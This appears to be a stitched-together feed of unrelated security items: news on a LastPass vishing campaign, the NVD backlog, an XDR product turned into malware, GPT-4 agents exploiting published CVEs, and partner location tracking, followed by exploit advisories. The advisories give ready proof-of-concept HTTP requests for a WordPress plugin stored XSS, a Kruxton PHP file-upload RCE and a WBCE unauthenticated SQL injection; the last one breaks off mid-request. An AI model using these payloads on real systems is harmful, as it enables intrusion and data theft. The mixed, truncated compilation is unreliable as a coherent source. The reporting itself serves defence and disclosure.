CryptoChameleon attackers trade quantity for quality, dedicating time and resources to trick even the most diligent user into handing over their high-value credentials.

Source: II.studio via Shutterstock

An ongoing, highly sophisticated phishing campaign may have led some LastPass users to give up their all-important master passwords to hackers.

Password managers store all of a user's passwords — for Instagram, their job, and everything in between — in one place, protected by one "master" password. They unburden users from having to remember credentials for hundreds of accounts, and empower them to use more complicated, unique passwords for each account. On the other hand, if a threat actor gains access to the master password, they'll have keys to every single one of the accounts within.

Enter CryptoChameleon, a new, hands-on phishing kit of unparalleled realism. 

CryptoChameleon attacks tend not to be so widespread, but they're successful at a clip largely unseen across the cybercrime world, "which is why we typically see this targeting enterprises and other very high-value targets," explains David Richardson, vice president of threat intelligence at Lookout, which first identified and reported the latest campaign to LastPass. "A password vault is a natural extension, because you're obviously going to be able to monetize that at the end of the day."

Thus far, CryptoChameleon has managed to ensnare at least eight LastPass customers — but likely more — potentially exposing their master passwords.

**A Brief History of CryptoChameleon**

At first, CryptoChameleon looked like any other phishing kit.

Its operators had been around since late last year. In January, they began by targeting the cryptocurrency exchanges Coinbase and Binance. This initial targeting, plus its highly customizable toolset, earned it its name.

The picture changed in February, though, when they registered the domain fcc-okta\[.\]com, mimicking the Okta Single Sign On (SSO) page belonging to the US's Federal Communications Commission (FCC). "That suddenly made this rise from one of many consumer phishing kits that we see out there, to something that's going to pivot into targeting the enterprise, going after corporate credentials," Richardson recalls.

Richardson confirmed to Dark Reading that FCC employees were impacted, but could not say how many or whether the attacks led to any consequences for the agency. It was a sophisticated attack, he notes, that he expects to have worked even on trained employees.

The problem with CryptoChameleon wasn't just who it was targeting, but how well it did at defeating them. Its trick was thorough, patient, hands-on engagement with victims.

Consider, for example, the current campaign against LastPass.

It begins when a customer receives a call from an 888 number. A robo caller informs the customer that their account has been accessed from a new device. It then prompts them to press "1" to allow access, or "2" to block it. After pressing "2," they're told that they'll be receiving a call shortly from a customer service representative in order to "close the ticket."

Then the call comes in. Unbeknownst to the recipient, it's from a spoofed number. On the other end of the line is a live person, typically with an American accent. Other CryptoChameleon victims have also reported speaking with British agents.

"The agent has professional call center communication skills, and offers genuinely good advice," Richardson recalls from his many conversations with victims. "So, for example, they might say: 'I want you to write down this support phone number for me.' And they have victims write down the real support phone number for whoever they're impersonating. And then they give them a whole lecture: 'Only call us on this number.' I had a victim report that they actually said, 'For quality and training purposes, this call is being recorded.' They're using the full call script, everything that you can think of to make someone believe that they're really talking to this company right now."

This supposed support agent informs the user that they'll be sending an email shortly, allowing the user to reset access to their account. In fact, this is a malicious email containing a shortened URL, directing them to a phishing site.

The helpful support agent watches in real time as the user enters their master password into the copycat site. Then they use it to log into their account, and immediately change the primary phone number, email address, and master password, thereby locking the victim out for good.

All the while, Richardson says, "They don't realize it's a scam — none of the victims I talked to. One person said, 'I don't think I ever entered my master password in there.' \[I told them\] 'You spent 23 minutes on the phone with these guys. You probably did.'"

**The Damage**

LastPass shut down the suspicious domain used in the attack — help-lastpass\[.\]com — shortly after it went live. The attackers have been persistent, though, continuing their activity under a new IP address.

With visibility into the attackers' internal systems, Richardson was able to identify at least eight victims. He also offered evidence (which Dark Reading is keeping confidential) indicating that there may have been more than that.

When asked for further information, LastPass senior intelligence analyst Mike Kosak told Dark Reading, "We do not disclose details on the number of customers who are impacted by this type of campaign, but we support any customer who may be a victim of this and other scams. We encourage people to report potential phishing scams and other nefarious activity impersonating LastPass to us at \[email protected\]."

**Is There Any Defense?**

Because hands-on CryptoChameleon attackers talk their victims through any potential security barriers like multifactor authentication (MFA), defending against them begins with awareness.

"People need to be aware that attackers can spoof phone numbers — that just because an 800 or 888 number calls you, it doesn't mean that it's legitimate," Richardson says, adding that  "just because there's an American on the other end of the line also does not mean that it's legitimate."

In fact, he says, "Don't answer the phone from unknown callers. I know that's a sad reality of the world that we live in today."

Even with all the awareness and precautionary measures known to business users and consumers, though, a particularly sophisticated social engineering attack might still get through.

"One of the CryptoChameleon victims I talked to was a retired IT professional," Richardson recalls. "He said, 'I've gotten training my whole life to not fall for these kinds of attacks. Somehow I fell for it'."

LastPass has asked Dark Reading to remind customers of the following:

*   Ignore any unsolicited or unprompted incoming phone calls (automated or with a live individual) or texts claiming to be from LastPass related to a recent attempt to change your password and/or account information. These are part of an ongoing phishing campaign. 
    
*   If you do see this activity and are concerned you may have been compromised, contact the company at \[email protected\].
    
*   And finally, LastPass will never ask you for your password.
    

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Multiple LastPass Users Lose Master Passwords to Ultra-Convincing Scam

Given the state of the NVD and vulnerability management, we felt it was worth looking at the current state of the NVD, how we got to this point, what it means for security teams, and where we go from here.

Friday, April 19, 2024 08:00

The National Vulnerability Database is usually the single source of truth for all things related to security vulnerabilities.  

But now, they’re facing an uphill battle against a massive backlog of vulnerabilities, some of which are still waiting to be analyzed, and others that still have an inaccurate or altogether missing severity score.  

As of April 9, 5,799 CVEs that have been published since Feb. 15, 2024, remain unanalyzed. 

As the backlog piles up, it’s unclear how, or when, the NVD is going to get back to its regular cadence of processing, scoring and analyzing vulnerabilities that are submitted to the U.S. government repository. At its current pace, the NVD is analyzing about 2.9 percent of all published CVEs it's been sent, well behind its pace in previous years. If there were no new CVEs submitted today, it could take the NVD more than 91 days to empty that backlog and get caught up. 

Given the state of the NVD and vulnerability management, we felt it was worth looking at the current state of the NVD, how we got to this point, what it means for security teams, and where we go from here. 

**What is the NVD? **

The U.S.’s National Vulnerability Database provides the most comprehensive list of CVEs anywhere. This tracks security vulnerabilities in hardware and software and distributes that list to the public for anyone to use.  

This data enables organizations and large networks to automate vulnerability management, take appropriate security steps when a new vulnerability is discovered, important references and metrics that indicate how serious a particular vulnerability is.  

The U.S. National Institute of Standards and Technology (NIST) has managed the NVD since 2000, when it was started as the Internet Category of Attack toolkit. It eventually morphed into the NVD, which passed the 150,000-vulnerability mark in 2021.  

In addition to simply listing the CVEs that are regularly disclosed, the NVD scores vulnerabilities using the CVSS system, which often differ from the initial severity score that’s assigned by the researcher that discovers the vulnerability, or the company or organization behind the affected product or software. 

Since the creation of I-CAT, no other organization or private company has as comprehensive of a list of vulnerabilities as the NVD, nor do they offer it for free like NIST does.  

**Why is the backlog a problem? **

On the surface, it may seem like the fact that the NVD has been slow to analyze CVEs isn’t all that bad, considering security issues are still being disclosed and patched every day (think: Microsoft Patch Tuesday). 

However, the lack of a single source of CVEs augmented information is detrimental to administrators, security researchers and users, and security experts are warning that the issue needs to be addressed quickly, or an alternative needs to be adopted.  

With the NVD being a collection of all this information, it’s up to the individual vendors to responsibly disclose and release vulnerabilities discovered in their products, which puts the onus on administrators to track that information down. If someone who handles patch management for a network was relying on the NVD for their information, that list is likely outdated at this point, and instead, they need to visit each individual vendor to find out what vulnerabilities were recently disclosed in their products, and how large of a risk they present.  

On any given network, that could be dozens to even hundreds of vendors, and while massive companies like Apple and Microsoft have easy-to-access security and vulnerability information, smaller open-source projects may not have the same resources that administrators need.  

The NVD is also the most trusted source for severity scores. Their calculations are generally what most users see when they read a security advisory. But without their input, it’s on the researcher or vendor to assign a score, instead. Under that system, there is no guarantee that a company may not want to score their vulnerability higher so it does not seem as serious, while researchers may want to bump up the severity of the issue they find so they are credited with discovering a higher-severity issue.  

As Talos has discussed before, a CVSS score is not the only metric worth relying on when patching, but it does play a major role in how the public views vulnerabilities and whether they’re likely to be exploited in the wild. According to Talos’ 2023 Year in Review report, eight of the 10 most-exploited CVEs last year received a severity score of 9.3 or higher. Any sense of uncertainty around CVSS scores can leave administrators scratching their heads and without a “north star” for patch management. 

The recent xz Utility vulnerability that was luckily prevented before any attackers could exploit it still does not have a Common Weakness Enumeration (CWE) assigned to it as of April 10 because of the backlog. Had an exploit for this been used, defenders would be missing crucial context and information for defending against this backdoor. 

**How did this backlog develop? **

NIST has been relatively vague about why the agency has been slow to process new vulnerabilities. The first sign of trouble came in February, when NIST released a statement that a “growing backlog of vulnerabilities” had developed because of “an increase in software and, therefore, vulnerabilities, as well as a change in interagency support.” 

NIST’s budget was cut by about 12 percent after the recent package of funding bills passed by U.S. Congress, as well. 

The agency also said in February that additional NIST staff were being shifted around to address the backlog, and at the recent VulnCon and Annual CNA Summit, the NVD program director promised that NIST was developing a consortium to help address the issues with the NVD.  

The total number of vulnerabilities disclosed continues to increase every year, driven by larger amounts of software on the market and increased visibility into security concerns and research. Last year, there were 28,961 CVEs disclosed, according to the CVE Program, an increase of 15 percent from 2022. The last time there were fewer CVEs assigned in a year compared to the year prior was in 2016. 

**What are some potential solutions? **

NIST has continued to publicly support the NVD and says it's preparing to revitalize the database. But it’s unclear what short- or long-term solutions or alternatives exist. 

Jerry Gamblin, a principal threat detection and response engineer for Cisco Vulnerability Management, said there has yet to be a company or organization willing to take on the monstrous task of tracking and scoring \*every\* CVE, especially for free.  

Other vulnerability catalogs exist like the Cybersecurity and Infrastructure Security Agency’s (CISA) Known Exploited Vulnerabilities (KEV) catalog, but the KEV only lists vulnerabilities that have actively been exploited in the wild. 

In short — all the potential alternatives are imperfect. 

“We can get the data from anywhere, and AI data could even help, but people just need to decide,” Gamblin said. “Is there going to be just one source of data? And who is the source of truth for this data? Who owns this data?” 

A private company like MITRE could step up to create its own solution, but it’d likely want to charge for access to that database. Any non-profit organization who also wants to step up would also likely need a massive influx of money and manpower to address the sheer volume of CVEs that come in every day. 

And while NIST says the consortium is in the works, there’s no timetable for how long it could take for that to be established, and which private companies would be involved.  

For now, it’s best to stick to tried-and-true patching strategies that have worked for years. Software, like Cisco Vulnerability Management, which has not been affected by the NVD backlog, can also assist in automating the patching process and prioritizing which vulnerabilities to patch first.

What’s the deal with the massive backlog of vulnerabilities at the NVD?

It turns out that a powerful security solution can double as even more powerful malware, capable of granting comprehensive access over a targeted machine.

Source: Maurice Norbert via Alamy Stock Photo

A creative exploit of Palo Alto Networks' extended detection and response (XDR) software could have allowed attackers to puppet it like a malicious multitool.

In a briefing at Black Hat Asia this week, Shmuel Cohen, security researcher at SafeBreach, described how he not only reverse-engineered and cracked into the company's signature Cortex product but also weaponized it to deploy a reverse shell and ransomware.

All but one of the weaknesses associated with his exploit have since been mended by Palo Alto. Whether other, similar XDR solutions are vulnerable to a similar attack is as yet unclear.

**A Devil's Bargain in Cybersecurity**

There is an inescapable devil's bargain when it comes to using certain kinds of far-reaching security tools. In order for these platforms to do their jobs, they must be granted highly privileged carte blanche access over every nook and cranny in a system.

For instance, to perform real-time monitoring and threat detection across IT ecosystems, XDR demands the highest possible permissions, and access to very sensitive information. And, to boot, it can't be easily removed. It was this immense power wielded by these programs that inspired in Cohen a twisted idea.

"I thought to myself: Would it be possible to turn an EDR solution itself into malware?" Cohen tells Dark Reading. "I'd take all these things that the XDR has and use them against the user."

After picking a laboratory subject — Cortex — he began reverse-engineering its various components, trying to figure out how it defined what is and isn't malicious.

A lightbulb switched on when he discovered a series of plaintext files the program relied on more than most.

**How to Turn XDR Evil**

"But those rules are inside my computer," Cohen thought. "What would happen if I manually removed them?"

It turned out that Palo Alto had thought of this already. An anti-tampering mechanism prevented any user from touching those precious Lua files — except the mechanism had an Achilles' heel. It worked by protecting not each individual Lua file by name, but the folder that encapsulated them all. To reach the files he wanted, then, he wouldn't have to undo the anti-tampering mechanism, if he could just reorient the path used to reach them and bypass the mechanism altogether.

A simple shortcut probably wouldn't have sufficed, so he used a hard link: the computer's way of connecting a filename with the actual data stored on a hard drive. This allowed him to point his own new file to the same location on the drive as the Lua files.

"The program was not aware that this file was pointing to the same location in the hard disk as the original Lua file, and this allowed me to edit the original content file," he explains. "So I created a hard link to the files, edited and removed some rules. And I saw that as I removed them — and did another little thing that caused the app to load new rules—I could load a vulnerable driver. And from there, the whole computer was mine."

After taking complete control in his proof of concept attack, Cohen recalls, "What I did first was change the protection password on the XDR so it cannot be removed. I also blocked any communication to its servers."

Meanwhile, "Everything seems like it's working. I can hide the malicious activities from the user. Even for an action which would've been prevented, the XDR won't provide a notification. The endpoint user will see the green marks that indicate everything is OK, while underneath I'm running my malware."

The malware he decided to run was, first, a reverse shell, enabling full control over the targeted machine. Then he successfully deployed ransomware, right under the program's nose.

**The Fix Palo Alto Didn't Make**

Palo Alto Networks was receptive to Cohen's research, working closely with him to understand the exploit and develop fixes.

There was one vulnerability in his attack chain, however, that they chose to leave as is: the fact that Cortex's Lua files are stored entirely in plaintext, with no encryption whatsoever, despite their highly sensitive nature.

That seems alarming, but the reality is that encryption wouldn't be much of a deterrent for attackers, so after discussing the matter, he and the security company agreed that they didn't need to change that. As he notes, "The XDR eventually needs to understand what to do. So even if it's encrypted, at some point in its operation it will need to decrypt those files in order to read them. So attackers could just catch the content of the files then. It would be one more step for me in order to read those files, but I can still read them."

He also says that other XDR platforms are likely susceptible to the same kind of attack.

"Other XDRs will implement this differently, maybe," he says. "Maybe the files will be encrypted. But no matter what they will do, I can always bypass it."

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

Evil XDR: Researcher Turns Palo Alto Software Into Perfect Malware

Existing AI technology can allow hackers to automate exploits for public vulnerabilities in minutes flat. Very soon, diligent patching will no longer be optional.

Source: Rokas Tenys via Shutterstock

AI agents equipped with GPT-4 can exploit most public vulnerabilities affecting real-world systems today, simply by reading about them online.

New findings out of the University of Illinois Urbana-Champaign (UIUC) threaten to radically enliven what's been a somewhat slow 18 months in artificial intelligence (AI)-enabled cyber threats. Threat actors have thus far used large language models (LLMs) to produce phishing emails, along with some basic malware, and to aid in the more ancillary aspects of their campaigns. Now, though, with only GPT-4 and an open source framework to package it, they can automate the exploitation of vulnerabilities as soon as they hit the presses.

"I'm not sure if our case studies will help inform how to stop threats," admits Daniel Kang, one of the researchers. "I do think that cyber threats will only increase, so organizations should strongly consider applying security best practices."

**GPT-4 vs. CVEs**

To gauge whether LLMs could exploit real-world systems, the team of four UIUC researchers first needed a test subject.

Their LLM agent consisted of four components: a prompt, a base LLM, a framework — in this case ReAct, as implemented in LangChain — and tools such as a terminal and code interpreter.

The agent was tested on 15 known vulnerabilities in open source software (OSS). Among them: bugs affecting websites, containers, and Python packages. Eight were given "high" or "critical" CVE severity scores. There were 11 that were disclosed past the date at which GPT-4 was trained, meaning this would be the first time the model was exposed to them.

With only their security advisories to go on, the AI agent was tasked with exploiting each bug in turn. The results of this experiment painted a stark picture.

Of the 10 models evaluated — including GPT-3.5, Meta's Llama 2 Chat, and more — nine could not hack even a single vulnerability.

GPT-4, however, successfully exploited 13, or 87% of the total.

It only failed twice for utterly mundane reasons. CVE-2024-25640, a 4.6 CVSS-rated issue in the Iris incident response platform, survived unscathed because of a quirk in the process of navigating Iris' app, which the model couldn't handle. Meanwhile, the researchers speculated that GPT-4 missed with CVE-2023-51653 — a 9.8 "critical" bug in the Hertzbeat monitoring tool because its description is written in Chinese.

As Kang explains, "GPT-4 outperforms a wide range of other models on many tasks. This includes standard benchmarks (MMLU, etc.). It also seems that GPT-4 is much better at planning. Unfortunately, since OpenAI hasn't released the training details, we aren't sure why."

**GPT-4 Good**

As threatening as malicious LLMs might be, Kang says, "At the moment, this doesn't unlock new capabilities an expert human couldn't do. As such, I think it's important for organizations to apply security best practices to avoid getting hacked, as these AI agents start to be used in more malicious ways."

If hackers start utilizing LLM agents to automatically exploit public vulnerabilities, companies will no longer be able to sit back and wait to patch new bugs (if ever they were). And they might have to start using the same LLM technologies as well as their adversaries will.

But even GPT-4 still has some ways to go before it's a perfect security assistant, warns Henrik Plate, security researcher for Endor Labs. In recent experiments, Plate tasked ChatGPT and Google's Vertex AI with identifying samples of OSS as malicious or benign, and assigning them risk scores. GPT-4 outperformed all other models when it came to explaining source code and providing assessments for legible code, but all models yielded a number of false positives and false negatives.

Obfuscation, for example, was a big sticking point. "It looked to the LLM very often as if \[the code\] was deliberately obfuscated to make a manual review hard. But often it was just reduced in size for legitimate purposes," Plate explains.

"Even though LLM-based assessment should not be used instead of manual reviews," Plate wrote in one of his reports, "they can certainly be used as one additional signal and input for manual reviews. In particular, they can be useful to automatically review larger numbers of malware signals produced by noisy detectors (which otherwise risk being ignored entirely in case of limited review capabilities)."

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

GPT-4 Can Exploit Most Vulns Just by Reading Threat Advisories

Location sharing is popular among couples. But is it something you want in your own relationship?

Every relationship has its disagreements. Who takes out the trash and washes the dishes? Who plans the meals and writes out the grocery list? And when is it okay to start tracking one another’s location?  

Location sharing is becoming the norm between romantic partners—50% of people valued location sharing in their relationships, according to recent research from Malwarebytes—and plenty of couples have found ways to track one another’s location, with consent, in a respectful and transparent way.

But, as a cybersecurity, privacy, and identity protection company, Malwarebytes is concerned with risk, and location sharing carries significant risks within many types of relationships.

There are new relationships in which the rules around privacy and sharing are still being agreed upon, old relationships in which power imbalances are deeply entrenched, and, of course, abusive relationships in which non-consensual tracking and surveillance are used as levers of control.

As a company—and not a relationship counselor—Malwarebytes cannot endorse any reasons for location sharing between romantic partners. But Malwarebytes can provide guidance on what safe location sharing looks like, including a requirement for consent.

Importantly, Malwarebytes can also remind readers about one simple, often-forgotten fact in this conversation: You don’t have to engage in location sharing if you do not want to.

It really is as simple as that. Do not agree to location sharing in your relationship if:

*   You are being pressured, coerced, or harassed into sharing your location.
*   You do not trust or feel comfortable sharing your location with your partner.  
*   You do not want to.

As the reasons for location sharing are valid for many couples, the reasons against it are just as valid, too. You have the right to determine the rules in your own relationship, and that includes the digital decisions that impact your feelings of privacy, safety, and trust.

****Safety, security, and convenience****

According to research conducted last year by Malwarebytes, location tracking among partners is popular in North America—and even more popular amongst younger generations.

When polling more than 1,000 people about their attitudes and behaviors around online privacy and cybersecurity, a full 50% agreed or strongly agreed with the statement that “monitoring my spouse’s/significant other’s online activity and/or location makes me feel they are safer.”

Similarly, 42% agreed or strongly agreed with the statement that “being able to track my spouse’s/significant other’s location when they are away is extremely important to me.” This sentiment was higher amongst Gen Z—49% felt the same way compared to the general population.

As to why location tracking has become so popular, there is little doubt. It’s about safety (or, at least, the feeling of it).

On Reddit, the question of location tracking between partners is frequently posed and is just as frequently answered: “I think it should be fine for safety reasons,” said one user in a the most popular response to a thread.

In writing for the media platform Her Campus, one Pennsylvania State University student said that, if she already shares her location with her friends for safety, “why would I not share it with someone I am involved with romantically?”

For some of the editorial staff at the healthy living brand Poosh, location sharing also provided convenience.  

“If I want to call my boyfriend for something, sometimes I’ll check his location first (if he’s at the office, for example, I won’t call),” wrote Erika Harwood, managing editor. “Or if he tells me he’s on his way home and it seems to be taking unusually long, it’s easier to just check his location and see if he’s stuck in traffic.”

Harwood continued:

“Basically, it all boils down to me trying to eliminate as many phone calls from my day as possible.”

What these explanations all share is purpose and consent. The people featured here have told their partners about location sharing, and they have identified specific reasons to engage in this practice. Because of this, these situations are hardly cause for alarm.

What Malwarebytes hopes to draw attention to, however, are starkly different situations.

****Coercion, control, and crisis****

Location “sharing” implies two partners who consensually share their locations with one another. But as Malwarebytes discovered last year, location “sharing” isn’t the only activity that some people engage in—it’s also location spying.

According to the same survey last year, 41% of all people admitted to monitoring their partner in some way without their partner’s permission.

That includes 16% of people who non-consensually “tracked my spouse’s/significant other’s location through an app or Bluetooth tracker (like Apple AirTags, Tile, Find My)” and 13% who non-consensually “installed monitoring software/apps on spouse’s/significant other’s devices (e.g., Life360).”

The harms here are obvious.

Non-consensual location tracking in a relationship is a clear invasion of privacy. It puts sensitive information into one partner’s hands without the other partner knowing it, and the nature of the information itself can be used to harass and stalk someone—especially after a breakup.

Non-consensual location tracking is also present in domestic abuse, particularly in instances where one partner is being spied upon with the use of “stalkerware” apps. And while those who deploy these types of invasive apps are not guaranteed to be physically abusive against their partners, several documented cases highlight the risk.

As Danielle Citron, professor of law at UVA, wrote back in 2015 about what she called “cyber stalking apps”:

“A woman fled her abuser who was living in Kansas. Because her abuser had installed a cyber stalking app on her phone, her abuser knew that she had moved to Elgin, Illinois. He tracked her to a shelter and then a friend’s home where he assaulted her and tried to strangle her. In another case, a woman tried to escape her abusive husband, but because he had installed a stalking app on her phone, he was able to track down her and her children. The man murdered his two children. In 2013, a California man, using a spyware app, tracked a woman to her friend’s house and assaulted her.”

These cases may sound extreme, but they should not be ignored. They reveal that it isn’t location sharing itself which is harmful, but rather that harmful relationships will lead to harmful forms of location tracking.

Be sure that, if you do engage in location sharing, it is with someone who you trust, on both of your agreed terms, and in a way that you can turn off the location sharing at any point in the future.

****What’s the answer?****

Your real-time location is extraordinarily sensitive information, and as such, access to it should be understood as a privilege, not a right. No romantic partner has a “right” to your location just because their previous partners practiced location sharing. No romantic partner should coerce or harass you into location sharing. And no, the refusal to share your location, at any stage of the relationship, is not a “red flag.”

If you do decide to share your location with your partner, be sure to follow these guidelines:

*   **Have an open conversation about location sharing with one another**. You must obtain consent from your partner if you’re going to share your locations. Spying on your partner’s location without their consent is a breach of trust.
*   **Have a reason why you’re engaging in location sharing**. Many problems in a relationship will not be solved by location sharing. Have a firm reason why you want to share locations and what value it will provide. If you do not have a good reason, you may not need location sharing at all.
*   **Set up rules about location sharing**. Location sharing can be enabled on a case-by-case basis for, say, music festivals, vacations, or solo hiking trips. It can also be enabled between partners indefinitely.
*   **Check in periodically about whether it is working**. Just because you agreed to location sharing a year ago does not mean you cannot revisit the topic. See how location sharing feels and then see if you still want it later in your relationship.

As every couple has its own rules and behaviors for success, there is no single answer to whether you should share your location with your partner. You know your partner—and yourself—best to answer this question. Be safe, whatever option you choose.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 Should you share your location with your partner? 

WordPress WP Video Playlist plugin version 1.1.1 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Wordpress Plugin WP Video Playlist 1.1.1 - Stored Cross-Site Scripting (XSS)# Date: 12 April 2024# Exploit Author: Erdemstar# Vendor: https://wordpress.com/# Version: 1.1.1# Proof Of Concept:1. Click Add Video part and enter the XSS payload as below into the first input of form or Request body named "videoFields[post_type]".# PoC Video: https://www.youtube.com/watch?v=05dM91FiG9w# Vulnerable Property at Request: videoFields[post_type]# Payload: <script>alert(document.cookie)</script># Request:POST /wp-admin/options.php HTTP/2Host: erdemstar.localCookie: thc_time=1713843219; booking_package_accountKey=2; wordpress_sec_dd86dc85a236e19160e96f4ec4b56b38=admin%7C1714079650%7CIdP5sIMFkCzSNzY8WFwU5GZFQVLOYP1JZXK77xpoW5R%7C27abdae5aa28462227b32b474b90f0e01fa4751d5c543b281c2348b60f078d2f; wp-settings-time-4=1711124335; cld_2=like; _hjSessionUser_3568329=eyJpZCI6ImY4MWE3NjljLWViN2MtNWM5MS05MzEyLTQ4MGRlZTc4Njc5OSIsImNyZWF0ZWQiOjE3MTEzOTM1MjQ2NDYsImV4aXN0aW5nIjp0cnVlfQ==; wp-settings-time-1=1712096748; wp-settings-1=mfold%3Do%26libraryContent%3Dbrowse%26uploader%3D1%26Categories_tab%3Dpop%26urlbutton%3Dfile%26editor%3Dtinymce%26unfold%3D1; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_dd86dc85a236e19160e96f4ec4b56b38=admin%7C1714079650%7CIdP5sIMFkCzSNzY8WFwU5GZFQVLOYP1JZXK77xpoW5R%7Cc64c696fd4114dba180dc6974e102cc02dc9ab8d37482e5c4e86c8e84a1f74f9Content-Length: 395Cache-Control: max-age=0Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "macOS"Upgrade-Insecure-Requests: 1Origin: https://erdemstar.localContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://erdemstar.local/wp-admin/admin.php?page=video_managerAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Priority: u=0, ioption_page=mediaManagerCPT&action=update&_wpnonce=29af746404&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dvideo_manager%26settings-updated%3Dtrue&videoFields%5BmeidaId%5D=1&videoFields%5Bpost_type%5D=<script>alert(document.cookie)</script>&videoFields%5BmediaUri%5D=dummy&videoFields%5BoptionName%5D=videoFields&videoFields%5BoptionType%5D=add&submit=Save+Changes

WordPress WP Video Playlist 1.1.1 Cross Site Scripting

Kruxton version 1.0 suffers from a remote shell upload vulnerability.

## Title: kruxton-1.0-FileUpload-RCE  
## Author: nu11secur1ty  
## Date: 04/15/2024  
## Vendor: https://www.mayurik.com/  
## Software: https://www.sourcecodester.com/php/16127/best-pos-management-system-php.html  
## Reference: https://portswigger.net/web-security/file-upload

## Description:  
The system setting with parameter IMG is vulnerable to File Upload  
vulnerability.  
The attacker can upload a very malicious PHP file into the server and  
then he can execute it  
This is a potential CRITICAL PROBLEM!

STATUS: HIGH- Vulnerability

[+]Payload:  
```POST  
POST /kruxton/ajax.php?action=save_settings HTTP/1.1  
Host: localpwnedhost.com  
Cookie: bLicense67=1; sEmail=kurec%40guhai.mi.huq;  
PHPSESSID=lp21rf44drtnogjboa8v7lpmg1  
Content-Length: 1043  
Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"  
Accept: */*  
Content-Type: multipart/form-data;  
boundary=----WebKitFormBoundaryUwsdkjlNQ5exBwrq  
X-Requested-With: XMLHttpRequest  
Sec-Ch-Ua-Mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.88  
Safari/537.36  
Sec-Ch-Ua-Platform: "Windows"  
Origin: https://localpwnedhost.com  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: https://localpwnedhost.com/kruxton/index.php?page=site_settings  
Accept-Encoding: gzip, deflate, br  
Accept-Language: en-US,en;q=0.9  
Priority: u=1, i  
Connection: close

------WebKitFormBoundaryUwsdkjlNQ5exBwrq  
Content-Disposition: form-data; name="name"

Kruxton Bristo By Mayuri K  
------WebKitFormBoundaryUwsdkjlNQ5exBwrq  
Content-Disposition: form-data; name="email"  
mayuri.infospace@gmail.com  
------WebKitFormBoundaryUwsdkjlNQ5exBwrq  
Content-Disposition: form-data; name="contact"

9000000000  
------WebKitFormBoundaryUwsdkjlNQ5exBwrq  
Content-Disposition: form-data; name="about"

<p>Kruxton Bristo By Mayuri K</p><p data-f-id="pbf" style="text-align:  
center; font-size: 14px; margin-top: 30px; opacity: 0.65; font-family:  
sans-serif;">Powered by <a  
href="https://www.froala.com/wysiwyg-editor?pb=1" title="Froala  
Editor">Froala Editor</a></p>  
------WebKitFormBoundaryUwsdkjlNQ5exBwrq  
Content-Disposition: form-data; name="img"; filename="1nsi1deyou.php"  
Content-Type: application/octet-stream

<?php  
// by nu11secur1ty - 2024  
//Your malicious code here  
?>

------WebKitFormBoundaryUwsdkjlNQ5exBwrq--  
```

## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2023/kruxton-1.0)

## Proof and Exploit:  
[href](https://www.nu11secur1ty.com/2024/04/kruxton-10-fileupload-rce.html)

## Time spent:  
00:15:00

Kruxton 1.0 Shell Upload

WBCE version 1.6.0 suffers from a remote SQL injection vulnerability.

# Exploit Title: |Unauthenticated SQL injection in WBCE 1.6.0  
# Date: 15.11.2023   
# Exploit Author: young pope   
# Vendor Homepage: https://github.com/WBCE/WBCE_CMS   
# Software Link: https://github.com/WBCE/WBCE_CMS/archive/refs/tags/1.6.0.zip   
# Version: 1.6.0   
# Tested on: Kali linux   
# CVE : CVE-2023-39796

There is an sql injection vulnerability in *miniform* module which is a   
default module installed in the *WBCE* cms. It is an unauthenticated   
sqli so anyone could access it and takeover the whole database.

In file /modules/miniform/ajax_delete_message.php there is no   
authentication check. On line |40| in this file, there is a |DELETE|   
query that is vulnerable, an attacker could jump from the query using   
tick sign - ```.

Function |addslashes()|   
(https://www.php.net/manual/en/function.addslashes.php) escapes only   
these characters and not a tick sign:

  * single quote (')  
  * double quote (")  
  * backslash ()  
  * NUL (the NUL byte

The DB_RECORD_TABLE parameter is vulnerable.

If an unauthenticated attacker send this request:

```

POST /modules/miniform/ajax_delete_message.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML,   
like Gecko) Chrome/36.0.1985.125 Safari/537.36  
Connection: close  
Content-Length: 162  
Accept: */*  
Accept-Language: en  
Content-Type: application/x-www-form-urlencoded  
Accept-Encoding: gzip, deflate

